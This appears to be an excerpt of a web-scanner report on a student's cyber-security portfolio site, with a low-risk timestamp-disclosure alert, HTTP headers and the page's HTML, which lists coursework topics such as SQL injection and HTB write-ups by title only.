Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence 257747436Solution Manually confirm that the timestamp data is not sensitive, and that the data cannot be aggregated to disclose exploitable patterns.
GET https://beekmans.dev/
Alert tags Alert description A timestamp was disclosed by the application/web server - Unix
Other info 350400823, which evaluates to: 1981-02-07 14:33:43
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p class="text-muted">The network is secured by separating the webservers from the employees and guests on their own VLAN. The network is protected by a pfsense router running custom firewalls for every interface and running Surricata to identify and block possible threats.</p> </div> </div> </div> </section> <section class="bg-light" id="portfolio"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Portfolio</h2> <h3 class="section-subheading text-muted">Cyber security.</h3> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Blue teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal1"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/01-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Self assessment week 1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal2"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid portfolio-image" src="img/portfolio/blue/02-thumbnail.gif" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V1</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal3"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/03-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Network diagram V2</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal4"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/04-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Secure connections</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal5"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/05-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IDS/IPS</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal6"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/06-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">Information Security and Risk Analysis</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal7"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/blue/07-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S3</h4> <p class="text-muted">IT Monitoring</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Red teaming semester</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal8"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/08-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">SQL injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal9"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/09-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Command injection</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal10"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/10-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site scripting</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal11"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/11-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Cross-site request forgery</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal12"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/12-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Path traversal</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal13"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/13-thumbnail.jpeg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Password cracking</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal14"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/14-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network scanning and enumeration</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal15"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/15-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Network sniffing and spoofing</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal16"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/16-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Law, Ethics and Responsible Disclosure</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal17"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/17-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Basic hacking process</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal18"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/red/18-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S4</h4> <p class="text-muted">Self reflection</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Internship</h4> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal19"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/internship/19-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S5</h4> <p class="text-muted">My internship</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h4 class="section-subheading text-muted">Minor</h4> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Red teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal20"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/20-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pentesting methods</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal21"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Linux write-up</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal22"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">HTB Windows write-up</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div 